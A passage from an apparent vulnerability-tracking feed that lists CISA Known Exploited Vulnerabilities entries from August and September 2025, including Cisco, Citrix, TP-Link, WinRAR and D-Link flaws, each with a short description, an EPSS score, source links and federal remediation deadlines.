This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: The KEV due date refers to the deadline by which FCEB agencies are expected to review and begin implementing the guidance outlined in Emergency Directive (ED) 25-03 (URL listed below in Notes). Agencies must follow the mitigation steps provided by CISA (URL listed below in Notes) and vendor’s instructions (URL listed below in Notes). Adhere to the applicable BOD 22-01 guidance for cloud services or discontinue use of the product if mitigations are not available. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 25, 2025; federal due date Sep 26, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Cisco Secure Firewall Adaptive Security Appliance (ASA) and Secure Firewall Threat Defense (FTD) Buffer Overflow Vulnerability https://kevwire.com/record/CVE-2025-20333 Cisco Secure Firewall Adaptive Security Appliance (ASA) and Secure Firewall Threat Defense (FTD) Buffer Overflow Vulnerability (Sep 25, 2025). Cisco Secure Firewall Adaptive Security (ASA) Appliance and Secure Firewall Threat Defense (FTD) Software VPN Web Server contain a buffer overflow vulnerability that allows for remote code execution. This vulnerability could be chained with CVE-2025-20362. EPSS 71.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-20333&date=2026-10-25). Sources: CISA KEV entry CVE-2025-20333: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-20333&date=2026-10-25 CISA added this entry on 2025-09-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: The KEV due date refers to the deadline by which FCEB agencies are expected to review and begin implementing the guidance outlined in Emergency Directive (ED) 25-03 (URL listed below in Notes). Agencies must follow the mitigation steps provided by CISA (URL listed below in Notes) and vendor’s instructions (URL listed below in Notes). Adhere to the applicable BOD 22-01 guidance for cloud services or discontinue use of the product if mitigations are not available. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 25, 2025; federal due date Sep 26, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Google Chromium V8 Type Confusion Vulnerability https://kevwire.com/record/CVE-2025-10585 Google Chromium V8 Type Confusion Vulnerability (Sep 23, 2025). Google Chromium contains a type confusion vulnerability in the V8 JavaScript and WebAssembly engine. EPSS 6.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-10585&date=2026-10-25). Sources: CISA KEV entry CVE-2025-10585: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-10585&date=2026-10-25 CISA added this entry on 2025-09-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 23, 2025; federal due date Oct 14, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Dassault Systèmes DELMIA Apriso Deserialization of Untrusted Data Vulnerability https://kevwire.com/record/CVE-2025-5086 Dassault Systèmes DELMIA Apriso Deserialization of Untrusted Data Vulnerability (Sep 11, 2025). Dassault Systèmes DELMIA Apriso contains a deserialization of untrusted data vulnerability that could lead to a remote code execution. EPSS 96.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-5086&date=2026-10-25). Sources: CISA KEV entry CVE-2025-5086: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-5086&date=2026-10-25 CISA added this entry on 2025-09-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 11, 2025; federal due date Oct 2, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Linux Kernel Time-of-Check Time-of-Use (TOCTOU) Race Condition Vulnerability https://kevwire.com/record/CVE-2025-38352 Linux Kernel Time-of-Check Time-of-Use (TOCTOU) Race Condition Vulnerability (Sep 4, 2025). Linux kernel contains a time-of-check time-of-use (TOCTOU) race condition vulnerability that has a high impact on confidentiality, integrity, and availability. EPSS 1.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-38352&date=2026-10-25). Sources: CISA KEV entry CVE-2025-38352: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-38352&date=2026-10-25 CISA added this entry on 2025-09-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 4, 2025; federal due date Sep 25, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Android Runtime Use-After-Free Vulnerability https://kevwire.com/record/CVE-2025-48543 Android Runtime Use-After-Free Vulnerability (Sep 4, 2025). Android Runtime contains a use-after-free vulnerability potentially allowing a chrome sandbox escape leading to local privilege escalation. EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-48543&date=2026-10-25). Sources: CISA KEV entry CVE-2025-48543: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-48543&date=2026-10-25 CISA added this entry on 2025-09-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 4, 2025; federal due date Sep 25, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Sitecore Multiple Products Deserialization of Untrusted Data Vulnerability https://kevwire.com/record/CVE-2025-53690 Sitecore Multiple Products Deserialization of Untrusted Data Vulnerability (Sep 4, 2025). Sitecore Experience Manager (XM), Experience Platform (XP), Experience Commerce (XC), and Managed Cloud contain a deserialization of untrusted data vulnerability involving the use of default machine keys. This flaw allows attackers to exploit exposed ASP.NET machine keys to achieve remote code execution. EPSS 60.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-53690&date=2026-10-25). Sources: CISA KEV entry CVE-2025-53690: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-53690&date=2026-10-25 CISA added this entry on 2025-09-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 4, 2025; federal due date Sep 25, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### TP-Link TL-WR841N Authentication Bypass by Spoofing Vulnerability https://kevwire.com/record/CVE-2023-50224 TP-Link TL-WR841N Authentication Bypass by Spoofing Vulnerability (Sep 3, 2025). TP-Link TL-WR841N contains an authentication bypass by spoofing vulnerability within the httpd service, which listens on TCP port 80 by default, leading to the disclose of stored credentials. The impacted products could be end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue product utilization. EPSS 20.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-50224&date=2026-10-25). Sources: CISA KEV entry CVE-2023-50224: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-50224&date=2026-10-25 CISA added this entry on 2025-09-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 3, 2025; federal due date Sep 24, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### TP-Link Archer C7(EU) and TL-WR841N/ND(MS) OS Command Injection Vulnerability https://kevwire.com/record/CVE-2025-9377 TP-Link Archer C7(EU) and TL-WR841N/ND(MS) OS Command Injection Vulnerability (Sep 3, 2025). TP-Link Archer C7(EU) and TL-WR841N/ND(MS) contain an OS command injection vulnerability that exists in the Parental Control page. The impacted products could be end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue product utilization. EPSS 37.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-9377&date=2026-10-25). Sources: CISA KEV entry CVE-2025-9377: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-9377&date=2026-10-25 CISA added this entry on 2025-09-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 3, 2025; federal due date Sep 24, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### TP-link TL-WA855RE Missing Authentication for Critical Function Vulnerability https://kevwire.com/record/CVE-2020-24363 TP-link TL-WA855RE Missing Authentication for Critical Function Vulnerability (Sep 2, 2025). TP-link TL-WA855RE contains a missing authentication for critical function vulnerability. This vulnerability could allow an unauthenticated attacker (on the same network) to submit a TDDP_RESET POST request for a factory reset and reboot. The attacker can then obtain incorrect access control by setting a new administrative password. The impacted products could be end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue product utilization. EPSS 22.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-24363&date=2026-10-25). Sources: CISA KEV entry CVE-2020-24363: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-24363&date=2026-10-25 CISA added this entry on 2025-09-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 2, 2025; federal due date Sep 23, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Meta Platforms WhatsApp Incorrect Authorization Vulnerability https://kevwire.com/record/CVE-2025-55177 Meta Platforms WhatsApp Incorrect Authorization Vulnerability (Sep 2, 2025). Meta Platforms WhatsApp contains an incorrect authorization vulnerability due to an incomplete authorization of linked device synchronization messages. This vulnerability could allow an unrelated user to trigger processing of content from an arbitrary URL on a target’s device. EPSS 13.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-55177&date=2026-10-25). Sources: CISA KEV entry CVE-2025-55177: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-55177&date=2026-10-25 CISA added this entry on 2025-09-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 2, 2025; federal due date Sep 23, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Sangoma FreePBX Authentication Bypass Vulnerability https://kevwire.com/record/CVE-2025-57819 Sangoma FreePBX Authentication Bypass Vulnerability (Aug 29, 2025). Sangoma FreePBX contains an authentication bypass vulnerability due to insufficiently sanitized user-supplied data allows unauthenticated access to FreePBX Administrator leading to arbitrary database manipulation and remote code execution. EPSS 95.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-57819&date=2026-10-25). Sources: CISA KEV entry CVE-2025-57819: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-57819&date=2026-10-25 CISA added this entry on 2025-08-29. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Aug 29, 2025; federal due date Sep 19, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Citrix NetScaler Memory Overflow Vulnerability https://kevwire.com/record/CVE-2025-7775 Citrix NetScaler Memory Overflow Vulnerability (Aug 26, 2025). Citrix NetScaler ADC and NetScaler Gateway contain a memory overflow vulnerability that could allow for remote code execution and/or denial of service. EPSS 20.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-7775&date=2026-10-25). Sources: CISA KEV entry CVE-2025-7775: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-7775&date=2026-10-25 CISA added this entry on 2025-08-26. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Aug 26, 2025; federal due date Aug 28, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Git Link Following Vulnerability https://kevwire.com/record/CVE-2025-48384 Git Link Following Vulnerability (Aug 25, 2025). Git contains a link following vulnerability that stems from Git’s inconsistent handling of carriage return characters in configuration files. EPSS 4.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-48384&date=2026-10-25). Sources: CISA KEV entry CVE-2025-48384: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-48384&date=2026-10-25 CISA added this entry on 2025-08-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Aug 25, 2025; federal due date Sep 15, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Citrix Session Recording Improper Privilege Management Vulnerability https://kevwire.com/record/CVE-2024-8068 Citrix Session Recording Improper Privilege Management Vulnerability (Aug 25, 2025). Citrix Session Recording contains an improper privilege management vulnerability that could allow for privilege escalation to NetworkService Account access. An attacker must be an authenticated user in the same Windows Active Directory domain as the session recording server domain. EPSS 3.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-8068&date=2026-10-25). Sources: CISA KEV entry CVE-2024-8068: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-8068&date=2026-10-25 CISA added this entry on 2025-08-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Aug 25, 2025; federal due date Sep 15, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Citrix Session Recording Deserialization of Untrusted Data Vulnerability https://kevwire.com/record/CVE-2024-8069 Citrix Session Recording Deserialization of Untrusted Data Vulnerability (Aug 25, 2025). Citrix Session Recording contains a deserialization of untrusted data vulnerability that allows limited remote code execution with privilege of a NetworkService Account access. Attacker must be an authenticated user on the same intranet as the session recording server. EPSS 21.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-8069&date=2026-10-25). Sources: CISA KEV entry CVE-2024-8069: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-8069&date=2026-10-25 CISA added this entry on 2025-08-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Aug 25, 2025; federal due date Sep 15, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Apple iOS, iPadOS, and macOS Out-of-Bounds Write Vulnerability https://kevwire.com/record/CVE-2025-43300 Apple iOS, iPadOS, and macOS Out-of-Bounds Write Vulnerability (Aug 21, 2025). Apple iOS, iPadOS, and macOS contain an out-of-bounds write vulnerability in the Image I/O framework. EPSS 65.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-43300&date=2026-10-25). Sources: CISA KEV entry CVE-2025-43300: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-43300&date=2026-10-25 CISA added this entry on 2025-08-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Aug 21, 2025; federal due date Sep 11, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Trend Micro Apex One OS Command Injection Vulnerability https://kevwire.com/record/CVE-2025-54948 Trend Micro Apex One OS Command Injection Vulnerability (Aug 18, 2025). Trend Micro Apex One Management Console (on-premise) contains an OS command injection vulnerability that could allow a pre-authenticated remote attacker to upload malicious code and execute commands on affected installations. EPSS 23.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-54948&date=2026-10-25). Sources: CISA KEV entry CVE-2025-54948: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-54948&date=2026-10-25 CISA added this entry on 2025-08-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Aug 18, 2025; federal due date Sep 8, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### N-able N-Central Command Injection Vulnerability https://kevwire.com/record/CVE-2025-8876 N-able N-Central Command Injection Vulnerability (Aug 13, 2025). N-able N-Central contains a command injection vulnerability via improper sanitization of user input. EPSS 3.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-8876&date=2026-10-25). Sources: CISA KEV entry CVE-2025-8876: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-8876&date=2026-10-25 CISA added this entry on 2025-08-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Aug 13, 2025; federal due date Aug 20, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### N-able N-Central Insecure Deserialization Vulnerability https://kevwire.com/record/CVE-2025-8875 N-able N-Central Insecure Deserialization Vulnerability (Aug 13, 2025). N-able N-Central contains an insecure deserialization vulnerability that could lead to command execution. EPSS 1.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-8875&date=2026-10-25). Sources: CISA KEV entry CVE-2025-8875: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-8875&date=2026-10-25 CISA added this entry on 2025-08-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Aug 13, 2025; federal due date Aug 20, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### RARLAB WinRAR Path Traversal Vulnerability https://kevwire.com/record/CVE-2025-8088 RARLAB WinRAR Path Traversal Vulnerability (Aug 12, 2025). RARLAB WinRAR contains a path traversal vulnerability affecting the Windows version of WinRAR. This vulnerability could allow an attacker to execute arbitrary code by crafting malicious archive files. EPSS 94.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-8088&date=2026-10-25). Sources: CISA KEV entry CVE-2025-8088: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-8088&date=2026-10-25 CISA added this entry on 2025-08-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Aug 12, 2025; federal due date Sep 2, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Office Excel Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2007-0671 Microsoft Office Excel Remote Code Execution Vulnerability (Aug 12, 2025). Microsoft Office Excel contains a remote code execution vulnerability that can be exploited when a specially crafted Excel file is opened. This malicious file could be delivered as an email attachment or hosted on a malicious website. An attacker could leverage this vulnerability by creating a specially crafted Excel file, which, when opened, allowing an attacker to execute remote code on the affected system. EPSS 43.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2007-0671&date=2026-10-25). Sources: CISA KEV entry CVE-2007-0671: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2007-0671&date=2026-10-25 CISA added this entry on 2025-08-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Aug 12, 2025; federal due date Sep 2, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Internet Explorer Resource Management Errors Vulnerability https://kevwire.com/record/CVE-2013-3893 Microsoft Internet Explorer Resource Management Errors Vulnerability (Aug 12, 2025). Microsoft Internet Explorer contains a memory corruption vulnerability that allows for remote code execution. The impacted products could be end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue product utilization. EPSS 87.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2013-3893&date=2026-10-25). Sources: CISA KEV entry CVE-2013-3893: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2013-3893&date=2026-10-25 CISA added this entry on 2025-08-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Aug 12, 2025; federal due date Sep 2, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### D-Link DCS-2530L and DCS-2670L Devices Unspecified Vulnerability https://kevwire.com/record/CVE-2020-25078 D-Link DCS-2530L and DCS-2670L Devices Unspecified Vulnerability (Aug 5, 2025). D-Link DCS-2530L and DCS-2670L devices contains an unspecified vulnerability that could allow for remote administrator password disclosure. The impacted products could be end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue product utilization. EPSS 97.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-25078&date=2026-10-25). Sources: CISA KEV entry CVE-2020-25078: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-25078&date=2026-10-25 CISA added this entry on 2025-08-05. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Aug 5, 2025; federal due date Aug 26, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### D-Link DCS-2530L and DCS-2670L Command Injection Vulnerability https://kevwire.com/record/CVE-2020-25079 D-Link DCS-2530L and DCS-2670L Command Injection Vulnerability (Aug 5, 2025). D-Link DCS-2530L and DCS-2670L devices contains a command injection vulnerability in the cgi-bin/ddns_enc.cgi. The impacted products could be end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue product utilization. EPSS 54.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-25079&date=2026-10-25). Sources: CISA KEV entry CVE-2020-25079: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS 